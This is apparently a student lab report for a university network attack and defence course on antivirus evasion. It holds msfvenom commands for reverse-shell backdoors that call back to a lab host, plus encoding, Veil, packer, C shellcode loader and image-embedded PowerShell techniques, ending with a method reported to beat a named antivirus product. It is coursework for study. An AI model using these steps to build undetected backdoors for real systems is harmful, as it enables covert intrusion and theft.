• 2019-2020-2 20175113完瑞 《网络对抗技术》Exp3 免杀原理与实践


    Exp3 免杀原理与实践 

    一、实践要求

    1. 方法

    ①正确使用msf编码器

    ②msfvenom生成如jar之类的其他文件

    ③veil

    ④加壳工具

    ⑤使用C + shellcode编程

    ⑥使用其他课堂未介绍方法

    2. 通过组合应用各种技术实现恶意代码免杀

    3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    二、实验内容

    1.方法

    ①正确使用msf编码器

    (1)将上一个实验中用msf生成的后门程序放到virustotal检测,发现绝大多数的杀毒软件都可以辨别其为病毒,这类病毒几乎可以说是出师未捷身先死,刚进入就被杀软给杀掉了。

    (2)接下来我们开始使用msf编码器:

    • 查看可以进行的编码类型: msfvenom --list encoders 
    • 使用  x86/shikata_ga_nai 方式进行编码
      • 1次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b 'x00' LHOST=192.168.81.129 LPORT=5113 -f exe >20175113cd2.exe 
      • 8次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b 'x00' LHOST=192.168.81.129 LPORT=5113 -f exe >20175113cd2.exe 

    • 将两次编码后的文件放到virustotal检测,结果依然没有太大变化

    • 综上,仅通过编码方式生成的payload是不可能做到免杀的

    ②msfvenom生成如jar之类的其他文件

    • 生成Java文件: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 x> 20175113_ja.jar 
    • 可以观察到,查杀率比简单编码方式要好些,但依然不乐观

    • 生成bash文件: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.81.129 LPORT=5113 -f raw > 20175113.sh 
    • bash是Linux系统脚本,在Windows下可能不会一般有人装环境来实现运行bash,所以杀软也不会记录这种文件,所以查杀率为0

    • 使用msfvenom生成更多类型后门程序请参见该博客

    ③veil

    • veil的安装明明简单却过于费心,可以在kali上在线安装veil:sudo apt-get install veil-evasion
    • 安装完成后进入界面:veil
    • 使用veil-evasion: use 1

    • 可以观察到我们有41个payload,可以使用list 查看payload以及使用use 数字 选取对应的payload
    • 选取  powershell/meterpreter/rev_tcp:use 22

    • 设置反弹连接的参数:
      • ip: set LHOST 192.168.81.129 
      • 端口: set LPORT 5113 
      • 生成: generate 
      • 文件名: 20175113 
    • 对文件扫描,结果还是不如人意

    ④加壳工具

    • 对①中生成的程序进行压缩壳upx加壳: upx 20175113cd2.exe -o 20175113cd2.upxed.exe 

    • 对①中生成的程序进行加密壳Hyperion加壳
      • 将要加密的程序复制到hyperion文件夹中:cp 20175113cd2.exe /usr/share/windows-resources/hyperion/20175113cd2.exe
      • 进入hyperion文件夹:cd /usr/share/windows-resources/hyperion/
      • 对程序进行加密壳:wine hyperion.exe -v 20175113cd2.exe 20175113cd2.upxed.Hy.exe

    ⑤使用C + shellcode编程

    • 使用msfvenom生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 -f c 

    • 新建一个5113sc.c文件,将上面生成的buf[]代入,内部代码为:
    #include <stdio.h>
    unsigned char buf[]=//生成的shellcode
    int main()
    {
        int (*func)()=(int(*)())buf;//调用shellcode
        func();
    }
    • 安装mingw-w64: apt-get install mingw-w64 
    • 使用mingw-w64将c文件生成exe文件: i686-w64-mingw32-g++ 5113sc.c -o 5113sc.exe 
    • 对5113sc.exe检测一下

    • 按照实验二步骤尝试回连,发现回连成功

    ⑥使用其他课堂未介绍方法

    下面介绍的DKMC方法是一种未成功免杀的方法,具体方法参考教程

    • 安装DKMC: git clone https://github.com/Mr-Un1k0d3r/DKMC.git 
    • 使用Msf生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 -f raw > 5113 
    • 进入DKMC文件夹: cd /home/20175113wr/DKMC/ 
    • 执行: python dkmc.py
    • 在DKMC中输入选项: sc
      • 设置source: set source /home/20175113wr/5113 
      • 生成shellcode: run 
      • 返回主菜单: exit 

    • 在DKMC中输入选项: gen
      • 设置shellcode: set shellcode .....(shellcode为run生成的shellcode)
      • 生成图像: run
      • 返回主菜单: exit

    • 在DKKMC中输入选项: ps
      • 设置url地址: set url http://192.168.81.129:8080/  .bmp(图片名为gen生成的图片名,可以手动重命名)
      • 生成bat文件: run
      • 返回主菜单: exit

    • 在DKKMC中输入选项: web
      • 设置端口: set port 8080
      • 启动web服务: run

    • 启动msfconsole
    • 将生成的bat文件在windows环境打开(或者命令提示符直接输入生成的powershell的代码)
    • 这种方法不能免杀

    • 关闭杀软的情况下,能成功回连

    • 这种将shellcode嵌入图片,通过网络分发的方法是课堂上没有提过的,失败的原因可能是因为企图调用powershell,而av和win10机制对这种行为极为敏感,所以难以达到免杀的目的

    2.通过组合应用各种技术实现恶意代码免杀&3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    这是一种使用shellcode加载器的方法,具体步骤参考教程,shellcode加载器中效果最好使用较多的就是shellcode_launcher了(附上下载地址

    • 使用Msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.81.129 lport=5113 -f raw -o 20175113.raw 
    • 打开msfconsole进行监听:
    use exploit/multi/handler         //监听设置payload set payload
    set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
    set LHOST 192.168.81.129       //Linux端的IP地址 
    set LPORT 5113    //与之前输入的端口号一致
    exploit    //开始监听
    • 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20175113.raw 
    • 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20175113.raw通过检测
    • Windows版本:Windows 10, version 1909,杀软:火绒5.0.40.12

    三、基础问题回答

    1.杀软是如何检测出恶意代码的?

    (一)特征代码法:该方法是目前杀毒工具中必备的组成部分

    (二)校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。

    (三)行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。

    2.免杀是做什么?

    免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”

    3.免杀的基本方法有哪些?

    (1)采用不同的编码方式,或者编码次数

    (2)对编码后生成的文件进行加壳,加压缩壳或者是加密壳

    (3)还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤

    4.开启杀软能绝对防止电脑中恶意代码吗?

         开启杀软并不能绝对防止电脑中恶意代码,不过及时更新杀软,少打开不安全的链接、少下载盗版软件,还是能大大降低中招的几率。

    四、实验体会

              这次实验让我见识到了各式各样的防杀技巧,杀软在现在网络信息时代是非常重要的,但单单依靠杀软是力不能逮的,对恶意代码有一定的了解,才能有的放矢,不至于被泄露隐私。

  • 相关阅读:
    哈尔特征Haar
    【python】发送post请求
    【svn】SSL error: A TLS warning alert has been received的解决方法
    【python】tarfile的路径问题
    【python】nuitka封装python
    【linux】scp命令
    【mongo】聚合相关资料
    【python】with的实现方法
    【mongo】mongoVUE使用
    【http】四种常见的 POST 提交数据方式
  • 原文地址:https://www.cnblogs.com/besti5113/p/12398918.html
Copyright © 2020-2023  润新知